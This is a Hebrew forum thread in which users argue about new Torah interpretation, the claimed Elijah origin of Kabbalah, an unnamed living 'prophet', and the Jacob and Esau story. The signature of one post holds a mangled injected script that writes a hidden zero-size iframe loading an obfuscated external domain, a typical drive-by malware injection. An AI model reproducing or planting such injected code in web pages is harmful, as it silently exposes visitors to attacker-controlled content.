|
|
| נשלח ב-29/11/2016 08:15 |
 |
| |
נמדשיר
כמדומה שיש לנו גישות שונות ללימוד המקרא. אליקים ואני מכאן ואתה מכאן.
אתה כותב:
מי אתה שתחדש בתורה דברים משל עצמך .
בתקופה שלנו אין לשום אדם את הכח לחדש דברים מליבו והבנתו .
אם "חידוש" פירושו להבין מה שלא נאמר במפורש, ואם הדרך לחדש היא על ידי עיון בדברים תוך יישום הידע שיש בידנו, אז מדוע שלא ינסה כל אדם להבין מעצמו? אדרבה, אולי זו הגישה הראויה שה' חפץ בה?
נכון שצריך זהירות. עם הנחות יסוד אפשר להפוך את הלבן לשחור ואת השחור ללבן. אפשר להפוך מעשים נאצלים למעשים בזויים ולהפך. ויש בדורנו כאלו שכותבים על התנ"ך וקשה להכיר את אבותינו בגרסותיהם.
אך אם מקפידים על מודעות לכך שאנו שואלים את השאלות ומציעים את התשובות מתוך הנחות יסוד שצריך לזהות ולהציג, האם אין בזה לימוד תורה ומצות לימוד תורה?
ומדוע דורנו פסול בעיניך לעיין בצורה כזו? מה גרע דורנו מדורות אחרים? שמא להפך, הוכשר דורנו בחכמה ובידע שלא היו בדורות עברו? יש לנו יותר מודעות להנחות יסוד שיכולות להיות שונות מאדם לאדם, שהן מתווספות על הטקסט ואינן נמצאות בו. אנו מודעים לכך שייתכנו הסברים סותרים לאותם טקסטים קצרים מדי שהתורה מוסרת לנו.
כמובן, יתכן לומר לכל מי שקורא: יש תנאים מוקדמים להצעת פירוש. ואחד מהם הוא חובת הזהירות והמודעות לכך שאתה מפרש, ופירוש הוא הצעה ולא הכרח. אבל דומה שאתה תובע יותר מזהירות. אתה בא לאסור על חשיבה עצמאית בתחום הפירוש, אם הבנתיך. אם כן, האם תוכל להצדיק את האיסור הזה? מה גרענו בפירושינו מקודמינו?
עוד הוספת וכתבת:
יש רק אדם אחד היום שאני לא אנקוב בשמו שהוא בגדר נביא שיכול לומר דברי תורה ולחדש דברים שלא נתגלו עד היום .
תם אני ולא אדע מה נקרא אצלך "נביא". לפי תומי סברתי שתם עידן הנבואה לפני דורות רבים. ושמא תוכל להסביר מה זו נבואה לשיטתך.
דומה בעיני שאליקים לא בא לומר דברים בדרך של ידע ממקור עליון כמו נביא. אלא בא לפרש את הקיים מתוך נסיון כן להתחבר לטקסט ולמצוא את ההקשר הרחב ביותר שלו. אבל כבר דנתי לעיל ברשות ובחובה ללמוד ולהבין. כאן אני מגלה את סקרנותי: לא רק מהי נבואה אלא מיהו אותו אחד ויחיד שהוא ראוי לנבואה בדורנו ואיך אנו יודעים זאת?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-29/11/2016 08:37 |
|
| |
| מיימוני כתב: |  | נמדשיר
כמדומה שיש לנו גישות שונות ללימוד המקרא. אליקים ואני מכאן ואתה מכאן.
אתה כותב:
מי אתה שתחדש בתורה דברים משל עצמך .
בתקופה שלנו אין לשום אדם את הכח לחדש דברים מליבו והבנתו .
אם "חידוש" פירושו להבין מה שלא נאמר במפורש, ואם הדרך לחדש היא על ידי עיון בדברים תוך יישום הידע שיש בידנו, אז מדוע שלא ינסה כל אדם להבין מעצמו? אדרבה, אולי זו הגישה הראויה שה' חפץ בה?
נכון שצריך זהירות. עם הנחות יסוד אפשר להפוך את הלבן לשחור ואת השחור ללבן. אפשר להפוך מעשים נאצלים למעשים בזויים ולהפך. ויש בדורנו כאלו שכותבים על התנ"ך וקשה להכיר את אבותינו בגרסותיהם.
אך אם מקפידים על מודעות לכך שאנו שואלים את השאלות ומציעים את התשובות מתוך הנחות יסוד שצריך לזהות ולהציג, האם אין בזה לימוד תורה ומצות לימוד תורה?
ומדוע דורנו פסול בעיניך לעיין בצורה כזו? מה גרע דורנו מדורות אחרים? שמא להפך, הוכשר דורנו בחכמה ובידע שלא היו בדורות עברו? יש לנו יותר מודעות להנחות יסוד שיכולות להיות שונות מאדם לאדם, שהן מתווספות על הטקסט ואינן נמצאות בו. אנו מודעים לכך שייתכנו הסברים סותרים לאותם טקסטים קצרים מדי שהתורה מוסרת לנו.
כמובן, יתכן לומר לכל מי שקורא: יש תנאים מוקדמים להצעת פירוש. ואחד מהם הוא חובת הזהירות והמודעות לכך שאתה מפרש, ופירוש הוא הצעה ולא הכרח. אבל דומה שאתה תובע יותר מזהירות. אתה בא לאסור על חשיבה עצמאית בתחום הפירוש, אם הבנתיך. אם כן, האם תוכל להצדיק את האיסור הזה? מה גרענו בפירושינו מקודמינו?
כנראה שלא הבנת את כוונתי , אליקים עשה השוואה בין חידוש המקובלים לחידוש שלו ועל זה היה תגובתי שאינו דומה שהמקובלים לא חידשו מדעתם אלא גילו דברים שכבר נאמרו במתן תורה על ידי משה ואליהו מסר להם את הדברים , כידוע שהאר"י שחידש את ענין הפרצופים קיבל זאת מאליהו . וגם הראשונים ידעו זאת ויש מהגאונים שידעו זאת שקיבלו מאליהו וקבלה רב מפי רב שקיבל מאליהו.
עוד הוספת וכתבת:
יש רק אדם אחד היום שאני לא אנקוב בשמו שהוא בגדר נביא שיכול לומר דברי תורה ולחדש דברים שלא נתגלו עד היום .
תם אני ולא אדע מה נקרא אצלך "נביא". לפי תומי סברתי שתם עידן הנבואה לפני דורות רבים. ושמא תוכל להסביר מה זו נבואה לשיטתך.
דומה בעיני שאליקים לא בא לומר דברים בדרך של ידע ממקור עליון כמו נביא. אלא בא לפרש את הקיים מתוך נסיון כן להתחבר לטקסט ולמצוא את ההקשר הרחב ביותר שלו. אבל כבר דנתי לעיל ברשות ובחובה ללמוד ולהבין. כאן אני מגלה את סקרנותי: לא רק מהי נבואה אלא מיהו אותו אחד ויחיד שהוא ראוי לנבואה בדורנו ואיך אנו יודעים זאת?
נבואה זה בדיוק כמו הנביאים שבתקופת הנביאים , אני במכוון לא רוצה לומר את דרגת נבואתו כדי שלא יזהו את מי אני מתכוון ואין לי עניין לומר את שמו כדי שלא ילעגו עליו ויבקרו אותו וייענשו . אני גם לא רוצה להוסיף עוד רמזים לגילוי שמו , רק אוסיף אני לא היחדי שמכיר אותו ויודע על כך. גם ר חיים קנייבסקי מכיר אותו ולא רוצה לדבר עליו כי פוחד שילעגו עליו (על ר חיים ) שיאמרו שהוא זקן , ויש עוד אנשים המכירים אותו .
_______________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
תוקן על ידי נמדשיר ב- 29/11/2016 09:17:11
תוקן על ידי נמדשיר ב- 29/11/2016 09:18:23
|
|
|
|
| נשלח ב-29/11/2016 12:00 |
|
| |
זכותו וחובתו של אליקים לחדש את חידושיו כפי שהוא מבין ומפרש. ואין חידושיו ופרושו נופלים בערכם מכל מקובל אחר בעבר ובהוה. וכל פרשן אחר בהוה ובעבר.
אליקים היה במעמד הר סיני יחד איתי והמקובלים והפרשנים האחרים. לא שמענו שמישהו קיבל בלעדיות אל פרושי וסודות התורה.
אליקים
על יעקב נאמר יושב אוהלים- למה לא יושב אוהל. מה פרוש אוהלים? אברהם ישב באוהל שרה היתה באוהל.
עשיו לא בקש את הברכות של הבכורה. היזמה היתה של יצחק.
למה יעקב לא סיפר על קנין הבכורה ליצחק אבא. הרי יצחק היה הראשון שהיה אמור לדעת.
עשיו נשא כנעניות. אבל כשהבין שזה מרגיז את אבא הוא מיד התחשב. בניו של יעקב גם נשאו כנעניות.
הוא ביזה את הבכורה- כי היה איש מעשה איש שדה ולא החשיב דברים וירטואלים שאין בהם ממש.
במכירת הבכורה יעקב היה הצד החלש מבחינה מוסרית. איך הוא שילם לעשיו בשביל הבכורה בנזיד עדשים? הרי הוא היה קטין והיה סמוך על שולחן אביו. הנזיד לא היה רכושו שמותר היה לסחור איתו. ואם תרצה להגיד בשביל הבישול שהוא בישל. האם הוא גם שילם על הציד שעשיו צד?
בכל מקרה לאחר הסיפור הזה והסיפור על גניבת הברכות-. והשקר. מאותו זמן כולם רימו את יעקב. לבן -נשותיו -בניו וכו'
|
|
|
|
|
| נשלח ב-29/11/2016 14:51 |
|
| |
| ירוחםשמ כתב: | | זכותו וחובתו של אליקים לחדש את חידושיו כפי שהוא מבין ומפרש. ואין חידושיו ופרושו נופלים בערכם מכל מקובל אחר בעבר ובהוה. וכל פרשן אחר בהוה ובעבר.
אליקים היה במעמד הר סיני יחד איתי והמקובלים והפרשנים האחרים. לא שמענו שמישהו קיבל בלעדיות אל פרושי וסודות התורה.
לא ציפיתי שתסכים אמרתי שחידוש הפרצופים קיבלו מאליהו ולכן ההשואה שלו לא נכונה לדעתי
אליקים
על יעקב נאמר יושב אוהלים- למה לא יושב אוהל. מה פרוש אוהלים? אברהם ישב באוהל שרה היתה באוהל.
עשיו לא בקש את הברכות של הבכורה. היזמה היתה של יצחק.
למה יעקב לא סיפר על קנין הבכורה ליצחק אבא. הרי יצחק היה הראשון שהיה אמור לדעת.
עשיו נשא כנעניות. אבל כשהבין שזה מרגיז את אבא הוא מיד התחשב. בניו של יעקב גם נשאו כנעניות.
הוא ביזה את הבכורה- כי היה איש מעשה איש שדה ולא החשיב דברים וירטואלים שאין בהם ממש.
במכירת הבכורה יעקב היה הצד החלש מבחינה מוסרית. איך הוא שילם לעשיו בשביל הבכורה בנזיד עדשים? הרי הוא היה קטין והיה סמוך על שולחן אביו. הנזיד לא היה רכושו שמותר היה לסחור איתו. ואם תרצה להגיד בשביל הבישול שהוא בישל. האם הוא גם שילם על הציד שעשיו צד?
בכל מקרה לאחר הסיפור הזה והסיפור על גניבת הברכות-. והשקר. מאותו זמן כולם רימו את יעקב. לבן -נשותיו -בניו וכו' |
|
|
|
|
|
|
| נשלח ב-29/11/2016 15:16 |
|
| |
ירוחם
לא הצלחתי להדגיש את הערה שלי בהודעה הקודמת
לא ציפיתי שתסכים אמרתי שחידוש הפרצופים קיבלו מאליהו ולכן ההשואה שלו לא נכונה לדעתי
|
|
|
|
| נשלח ב-29/11/2016 16:37 |
|
| |
נמדשיר
תודה על התשובה הארוכה והמפורטת.
דומה שאליקים אינו שותף לטענתך שהאר"י קיבל מאליהו. הוא סובר, לפי המשל שלו, שהמקובלים עסקו בהתבוננות ב"פרצופים" ואם הבנתי את כוונתו (זה אם נוסף) אזי מדובר בפרצופים במובן של רעיון מחיי האדם. וזה המקור לדמיונותיהם. ולא התגלות מסוג זה או אחר.
אני ודאי איני סבור שהמקובלים קיבלו גילוי אליהו ולא מסורת מסיני. אבל האשכול הזה מיוחד להבנת פרשת יעקב ועשו. אתה מוזמן לפתוח אשכול על מסורת השתשלות הקבלה מסיני ואליהו עד האר"י. יתכן שאלמד משהו חדש על המסורת הזו שאני חושד בה שאינה נכונה. חוששני שמגיני התזה על עתיקות הקבלה עזבו את הפורום, ואולי זה בגללי. מה חבל. זו תזה חשובה גם אם לא נכונה וחשוב שהיא תוצג נכונה בפורום כמו שלנו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-29/11/2016 18:44 |
|
| |
מימוני
תודה לך על ההצעה אבל בהיותי מכיר את הפורום אין בזה תועלת.
את עניין הקבלה לא אני התחלתי את הדיון.
אליקים השווה את הענין שלו עם הפרצופים, ואני כתבתי על זה.
אתה הוא זה שפתחת דיון על זה מבחינתי אין מה לדון בזה כתבתי דעתי וזהו.
מה ש אליקים חושב נשאיר לו הוא יודע להסתדר בלעדיך.
|
|
|
|
| נשלח ב-30/11/2016 16:59 |
|
| |
נמדשיר
כמדומה שקרתה כאן אי הבנה במלוא המובן של אי הבנה. לא השוויתי את עצמי לאר"י, ולא את דברי לדבריו. רק הבאתי את דבריו כדוגמא - ויש להוסיף - עם הנחת יסוד - שהרעיון לקרוא "פרצוף" לכל חלק של הספירות, הינו "החייאה" של פרט אחד מתוך המכלול, על מנת להתייחס אליו התייחסות מורחבת. כך עניתי בהודעה שאמנם לא כתבתי למי היא מיועדת אבל הייתה מיועדת לירוחם בפרט. וזה אולי מצחיק להסביר את זה, אבל אני רואה שצריך: ירוחם טען, (במשתמע), ש"רחמה של אמנו רבקה לא היה מגרש מרוצים". ועל כך עניתי, שאשמח לשמוע דעות אחרות - כלומר - אם לדעתו ההסבר שלי ל"ויתרוצצו" אינו סביר, הוא ו/או כל אדם אחר מוזמן להסביר את דעתו בנושא, והוספתי שההתייחסות ל"ויתרוצצו" כאל מגרש מרוצים - מלבד שלא ניסיתי לערוך השוואה כזאת, אבל מה שבכל זאת כן אמרתי - שהיה "ריב" בין שני העוברים - אע"פ שקשה להניח כזה דבר - מ"מ אני כן אומר זאת, משום שזה הפשט - גם לפי התשובה שרבקה קיבלה - "שני גויים בבטנך ושני לאומים ממעייך יפרדו", וגם לפי דרכי בלימוד - לקחת כל פרט ו"להחיות" אותו כאילו היה הוא עיקר שסביבו הכל נסוב (כמו שעשו המקובלים, עם ה"פרצופים", ועם נתינת שם לכל אחד מהספירות, ועוד), וכך אני לוקח את המילה "ויתרוצצו", ומתייחס אליה כאל דבר חשוב בפני עצמו, וסביבו אני בונה "סיפור" שהיה שם "ריב" בין יעקב לעשיו. וכאמור, הסבר זה נתמך ע"י דברי הכתובים שמסביב לפסוק "ויתרוצצו".
ואגב, גם מיימוני יודע להסתדר בלעדיך.
אבל , באמת, זה נושא מעניין, שאפשר לפתוח עליו אשכול, כיצד מחליטים על מישהו שהוא "נביא", ומי ראוי או יכול להעיד על כך, ומי ראוי או יכול לחדש דברים ש"לא נתגלו עד היום" כלשונך, או להסביר כראוי דברים שכבר כן נתגלו, וכו'.
תוקן על ידי אליקים7241 ב- 30/11/2016 17:09:51
|
|
|
|
|
|
| נשלח ב-30/11/2016 18:28 |
|
| |
מיימוני
לאחר שסיימתי לכתוב, והדברים התארכו מאוד. אולי זה ראוי לאשכול בפני עצמו. אבל זה כתוב באופן שנסוב סביב עשיו ויעקב. גם זה ייצור בלגן אם נפריד כל דבר לאשכול בפני עצמו. לכן אני משאיר את זה כך.
עוד בבטן - יעקב ועשיו "התרוצצו" - והכתוב רואה בזה סימן לכך ש"שני לאומים ממעייך יפרדו" - הוי אומר: תחילת הפירוד ביניהם עוד לפני שנולדו. מאחר וכך, יש להניח שכל שכן שלאחר הלידה הם לא הלכו בדרך אחת. אמנם חז"ל אמרו שעד גיל 13 הם "למדו ביחד", אבל ניתן להניח שרק לא ראו מה בדיוק ההבדל ביניהם, ולא ידעו להצביע עליו, אבל כן הבחינו שיש ביניהם שוני.
ועד שאתה שואל האם יעקב שילם על בשר הציד שעשיו הביא, יש לשאול האם בכלל הוא אכל מבשר הציד שעשיו הביא?
אעיר עוד הערה שקשורה למידותיהם של האבות - ואשתמש, ברשותך, במידות שהצמידו להם המקובלים - חסד גבורה, וקו האמצע. אני מבהיר מראש לנמדשיר ולכל המעוניין, שאינני מתיימר להיות ממשיכם של המקובלים, אלא נעזר במה שהם לימדו, ומתבונן על הדברים בדרכי שלי. ובכן- אמרנו: חסד וגבורה וקו האמצע. אברהם נגזל ואינו מגיב. רק כאשר אבימלך בא לכרות איתו ברית, אז הוא מעלה את החשבון הישן "והוכיח אברהם את אבימלך על אודות באר המים אשר גזלו עבדי אבימלך". יצחק שמידתו גבורה - כן מגיב - "ויריבו רועי גרר עם רועי יצחק". נוכחותו בולטת כל כך, עד כדי שפלשתים אומרים לו "לך מעמנו כי עצמת ממנו מאוד". יש לשים לב שגם הגבורה של יצחק, פועלת במסגרת החסד של אברהם - יצחק מוכן להיענות לבקשת הפלשתים וללכת.
ועכשיו אנו מגיעים ליעקב. יעקב יש בו שתי המידות - מחד יש לו את הנוכחות של יצחק, ומאידך את החסד של אברהם. אחיו עשיו - יש לו את הנוכחות של יצחק, אבל הוא חסר את החסד של אברהם. כמו שביארתי לעיל, אנו גם רואים שיצחק מלכתחילה מייעד את "ברכת אברהם" ליעקב ולא לעשיו, ורק את ברכת הבכורה הוא חושב לתת לעשיו, ואעפ"כ בסוף הוא מתרצה שיעקב יקבל גם אותה, כמו שכתבתי.
ומה קורה בעניין המחלוקות בין שני זוגות האחים? ישמעאל - איש חסד ורוח המנותק מגבורה - הוא כל כולו מסור לכל עניין ועניין שבו הוא עסוק. כל כך מסור, שהוא צוחק על יצחק שמעז להראות נוכחות וגאווה. שרה רואה את זה - וכמובן זועמת. האם בנה איננו בן אברהם? וכי גבורתו איננה במסגרת החסד, כאמור? ואם היא במסגרת החסד, איזו טענה יש לישמעאל? אבל אברהם מתקשה לקבל זאת - סוף סוף, גם ישמעאל מייצג צד חשוב של מידת החסד. אומר לו הקב"ה - "כל אשר תאמר אליך שרה שמע בקולה" - אם תנתח כראוי את המצב, תגלה ששרה צודקת - שהרי אם ישמעאל כ"כ מסור לחסד ולרוח, מדוע הוא צוחק על יצחק? אדרבה שיתמסר לעזור גם לו ולאהוב אותו! אלא שישמעאל חסר את מידת ה"ויגבה ליבו בדרכי ה'". ומכיוון שכל אדם צריך קצת גאווה - הוא מחליט להתגאות בעצם קיומו, גם ללא זכות מיוחדת. ואם כן - אם אברהם רוצה ממשיך - שיגבה ליבו בדרכי ה' ולא ב"כל דרכי איש זך בעיניו" - אזי אין לזה פיתרון כי אם ש"ביצחק יקרא לך זרע". וישמעאל, אמנם יש לו זכות כאדם בפני עצמו, אבל "לא יירש בן האמה הזאת עם בני עם יצחק" - יש לו זכות כאדם - אבל לא כממשיכו של אברהם.
ולמה כתבתי את כל זה? להראות איך העניין הזה משתלב במחלוקת שבין יעקב לעשיו. עשיו הוא איש גבורה. אבל ללא חסד. מה שקורה הוא, שיעקב ועשיו שניהם אנשי נוכחות. ולפיכך הם אינם יכולים לשכון זה עם זה במקום אחד. והימצאות שניהם יחד - מביאה אותם "להתרוצץ". והם מתרוצצים. וברגע שהם יכולים - הם נפרדים "ושני לאומים ממעייך יפרדו". במצב כזה, כמו קין והבל שחילקו ביניהם את העולם - כך גם יעקב ועשיו מתחלקים - זה לשדה וזה לאוהלים. ניתן להניח שזה לא אכל משל זה וזה לא אכל משל זה. אבל יום אחד עשיו בא ומבקש מיעקב. למעשה, הוא מרחיב את יריעת נוכחותו גם לתוך השטח של יעקב. כאן כבר יש בעיה.
אומר לו יעקב - הנוכחות היא מידת הבכור. בעצם העובדה שהבכור הוא ראשון - ראשוניות היא בעצם "הנכחה" של דבר חדש. "הנכחה" של ממשיכי דרכם של ההורים. אומר יעקב לעשיו - אם אתה מבקש ממני, ואם כן אתה תהיה "מקבל" ואני "נותן" - אם כן אתה מודה שאני בעל חסד. ואם מידתך היא רק נוכחות, ללא החלק של החסד, אבל אינך מסתפק בזה, אלא רוצה שיריעת נוכחותך תתפרש גם לתוך השטח שלי - הרי שנוכחותך איננה המשך דרכו של יצחק - דרכו של יצחק היא במסגרת החסד של אברהם. דרכו של יצחק היא לא גבורה "יחד" החסד של אברהם בתוך כל מעשה ומעשה - זו רק דרכו של יעקב - להנכיח את עצמו "בתוך" חסד - הוא מגלה עצמאות רק בתוך עשייה עבור אדם אחר - לבן. אבל יצחק מנכיח את עצמו גם ללא חסד - אבל בתנאי שהוא שומר על החסד - ומוכן להסתלק מפני פלשתים אם לא נוח להם איתו.
על כן - מודה עשיו ליעקב - כשאני מקבל ממך נזיד עדשים - אני מנכיח את עצמי על חשבון החסד. ואמנם - אני מוותר על החסד - ובלבד שנוכחותי תוכר, גם אם אני מודה שאין בה ממידת החסד. וכך הוא מוכר את הבכורה, ואף בהמשך, כשיעקב מגיע מחרן - עשיו בא וארבע מאות איש עמו. לאמור: נוכחותי תגבר. ואיננו רץ לקראת יעקב לחבקו, עד שיעקב מסיים שבע השתחוויות כלפיו. הרי הוא יכל גם לעצור את יעקב באמצע ולומר לו: אינך צריך להשתחוות. אבל הוא לא עושה זאת. הוא מחכה בסבלנות עד שיעקב ישתחווה עוד ועוד. לאמור: נוכחותי תגבר. ועל כן, גם "וילך אל ארץ מפני יעקב אחיו" - זה א בשלב הראשון. הרי גם לפני שיעקב הגיע עשיו ישב בשעיר, כמו שמשמע במפורש מ"וישלח יעקב מלאכים לפני אל עשיו אחיו ארצה שעיר שדה אדום". אלא רק לאחר שיעקב סיים את ההשתחוויות. וגם אז - הוא עדיין אומר "ואלכה לנגדך" "אציגה נא עמך מן העם אשר איתי". אמנם כאן, לאחר ההשתחוויות - הוא לא מתעקש יותר, וכשיעקב אומר שהוא מעדיף להתנהל לאט לרגל המלאכה אשר לפניו - אז עשיו מתרצה, ובכך מסתיימת הסאגה. ומכאן ואילך אין יותר ריב ביניהם.
|
|
|
|
|
| נשלח ב-30/11/2016 18:29 |
|
| |
ירוחם
גם לך אענה בהמשך....
|
|
|
|
| נשלח ב-30/11/2016 18:49 |
|
| |
אליקים
תודה לך על ההתייחסות .
1. אני רואה שהאבחנה שלי עליך היתה נכונה ולכן התשובה של מיימוני לא סיפקה את התשובה שלך ולכן כתבתי למיימוני שאתה מסתדר לבד.
2. מיימוני מסתדר טוב בלעדי הוא רק צריך אותי לפתוח את האשכול כדי לדכא כל יחס לדברים גבוהים שלא זכה להשיג .
3. נושא האשכול זה בדיוק התשובה למה לא שייך לפתוח אשכול כזה , כי הרי מי שרואה את הדברים לא יכול להוכיח למי שלא רואה ואם כן כל הדיון יהיה איך אתה רואה מה שאחרים לא רואים , והרי כל מטרת הפורום הזה להראות שכולם שווים וכל אחד יכול להשיג הכל , ורוצים הוכחות חותכות לדברים שכיום הם מוסתרים , וצריך עבודת השם מיוחדת שבאה דוקא מתוך אמונה ולא מהשכל , כי לדעתי האמנוה מביאה את השכל ולא להיפך בדיוק כמו שתינוק לומד קודם דרך האמונה ולאחר מכן מבין בשכל , כך את בורא עולם אפשר להבין רק מתוך אמונה שכך הם הדברים , ולאחר שמתנהגים על פי האמונה המושלמת הדברים מגיעים לשכל .
על כן לא שייך לפתוח על זה אשכול .
מיימוני
אני מתנצל ששוב ערבתי נושא אחר באשכול הנוכחי , אבל עדיף כך כדי להבין שלא שייך לפתוח אשכול נוסף , ובעצם מה שכתבתי כאן קשור לכל אשכול שנפתח בעצכ"ח .
|
|
|
|
| נשלח ב-1/12/2016 18:26 |
|
| |
נמדשיר
יש לך מזל שמיימוני הוא בעל מידות ולא יעיף אותך לעזאזל. אבל לא כדאי לך לסמוך על המזל, כי אין מזל לישראל - לטוב וגם לפחות טוב, ועין רואה ואוזן שומעת וכל מעשיך בספר נכתבים. אתה מוצא את עצמך צודק באבחנה שלך בקשר אליי - דע לך שאתה טועה באבחנה שלך בקשר למיימוני.
|
|
|
|
| נשלח ב-1/12/2016 19:21 |
|
| |
| ירוחםשמ כתב: | | [quote]זכותו וחובתו של אליקים לחדש את חידושיו כפי שהוא מבין ומפרש. ואין חידושיו ופרושו נופלים בערכם מכל מקובל אחר בעבר ובהוה. וכל פרשן אחר בהוה ובעבר. אליקים היה במעמד הר סיני יחד איתי והמקובלים והפרשנים האחרים. לא שמענו שמישהו קיבל בלעדיות אל פרושי וסודות התורה. אליקים על יעקב נאמר יושב אוהלים- למה לא יושב אוהל. מה פרוש אוהלים? אברהם ישב באוהל שרה היתה באוהל. יושב אוהל - פירוש הדבר באוהל מסויים, האוהל שלו. לא כן יעקב - כשם שעשיו הוא "איש שדה" - יודע איך לנהוג בשדה - בעצד החיצוני של העולם - חיצוניות - כך יעקב "איש אהלים" יודע איך לנהוג באהלים - באופן כללי. יודע לארגן את העולם הפנימי שבו הוא חי, את הבסיס ממנו יוצאים לפעול בעולם. לכן "איש אהלים".עשיו לא בקש את הברכות של הבכורה. היזמה היתה של יצחק. כי יצחק לא ידע על המכירהלמה יעקב לא סיפר על קנין הבכורה ליצחק אבא. הרי יצחק היה הראשון שהיה אמור לדעת. הסברתי קישורעשיו נשא כנעניות. אבל כשהבין שזה מרגיז את אבא הוא מיד התחשב. בניו של יעקב גם נשאו כנעניות. בניו של יעקב מן הסתם נשאו נשים מבנות חרן שבאו יחד עימם לארץ (הרי יעקב חזר מחרן עם קהל גדול). עשיו התחשב? היום כולם מדברים על חוסר התקשורת בין יצחק לרבקה. מה עם חוסר התקשורת בין עשיו ליצחק? איך עשיו לא יודע - כשהוא כבר בן ארבעים - ועדיין לא יודע עם מי אביו רוצה שהוא יתחתן? הוא היה יכול לפחות לברר. ואם הוא רואה שאביו שולח את יעקב לפדן ארם - למה הוא לא מתייעץ עכשיו, האם גם בנות ישמעאל הן "בסדר". והאם הוא לא מכיר את הסיפורים הבסיסיים במשפחה? היריבות בין יצחק לישמעאל, שליחת שליח מיוחד להביא אישה מפדן ארם. מעניין שכולם מוצאים אצל יעקב, יצחק ורבקה חסרונות. למה לא מצאו גם את החסרונות הבסיסיים האלה אצל עשיו?הוא ביזה את הבכורה- כי היה איש מעשה איש שדה ולא החשיב דברים וירטואלים שאין בהם ממש. גם פורום עצכח עוסק בהרבה דברים וירטואליים. מי שמחפש דברים ממשיים - יכול למצוא פורום אחר. זו זכותו של כל אדם לפעול באיזה דברים שהוא רוצה. אינני מבקר את עשיו על כך שהוא מתעניין בדברים פרקטיים. אני רק מצביע על כך שהוא מעדיף את הדברים הפרקטיים, וגם מראה מדוע המכירה של הבכורה הייתה הגיונית, ואמנם אומר שלפי הפסוק "ויבז עשיו את הבכורה" - ניתן להבין שעשיו לא רק "העדיף" דברים פרקטיים, אלא גם ביזה דברים לא פרקטיים. תשאל כל פסיכולוג נורמלי - אדם לא יכול לחיות רק בעולם פרקטי. התרומה של יעקב לעולם חשובה לא פחות משל עשיו. במכירת הבכורה יעקב היה הצד החלש מבחינה מוסרית. איך הוא שילם לעשיו בשביל הבכורה בנזיד עדשים? הרי הוא היה קטין והיה סמוך על שולחן אביו. הנזיד לא היה רכושו שמותר היה לסחור איתו. ואם תרצה להגיד בשביל הבישול שהוא בישל. האם הוא גם שילם על הציד שעשיו צד? ראה בתשובתי למיימוני - האם הוא בכלל אכל מהציד שעשיו צד? לא כתוב בשום מקום שעשיו נתן לאחיו מצידו. אדרבה - הוא ביקש לקבל ממנו בחינם מבישוליו. מדוע הוא לא מציע תמורה? אך הגיוני הוא שיעקב מבקש תמורה. כמובן שמדובר בנזיד שלו - הוא כבר לא קטין - אם עשיו בגיל כזה שמסוגל לצוד בשדה - אז הוא לא קטין, ואינו סמוך על שולחן אביו, ויעקב הרי באותו הגיל בדיוק. יעקב ועשיו חיו בסטטוס קוו - זה לא אוכל מציד אחיו וזה לא אוכל מנזידי אחיו. עשיו היה הראשון לשבור את הסטטוס קוו, ויום אחד מבקש נזיד. הוא לא מציע תמורה מצידו. יעקב מבין שמדובר ברגע משמעותי - עשיו מבקש לקבל ללא תמורה. אומר לו יעקב - אם כן התמורה תהיה שלכל הפחות אהיה מוכר במעמד ה"נותן".בכל מקרה לאחר הסיפור הזה והסיפור על גניבת הברכות-. והשקר. מאותו זמן כולם רימו את יעקב. לבן -נשותיו -בניו וכו'
|
|
|
|
|
|
|
| נשלח ב-3/12/2016 20:21 |
|
| |
| אליקים7241 כתב: | | נמדשיר
יש לך מזל שמיימוני הוא בעל מידות ולא יעיף אותך לעזאזל. אבל לא כדאי לך לסמוך על המזל, כי אין מזל לישראל - לטוב וגם לפחות טוב,
אם תבין את המשמעות של אין מזל לישראל תסיק מסקנות שונות כי דוקא כי אין מזל לישראל אין לי מה לפחוד ממיימוני.
ועין רואה ואוזן שומעת וכל מעשיך בספר נכתבים.
לכן כתבתי את מה שכתבתי.
אתה מוצא את עצמך צודק באבחנה שלך בקשר אליי - דע לך שאתה טועה באבחנה שלך בקשר למיימוני. |
|
את עניין האבחנה שלי תשאיר לי אני יכול לומר שאף אחד בפורום לא מצליח לאבחן אותי .
אני מכיר את הפורום ואת החברים 12 שנה.
|
|
|
|
| נשלח ב-3/12/2016 20:49 |
|
| |
| נמדשיר כתב: | | אין לי מה לפחוד ממיימוני.
|
|
זה בדיוק העניין -אין כאן באמת ממה לפחד, ואין עניין לזה ולכאן
|
|
|
|
|
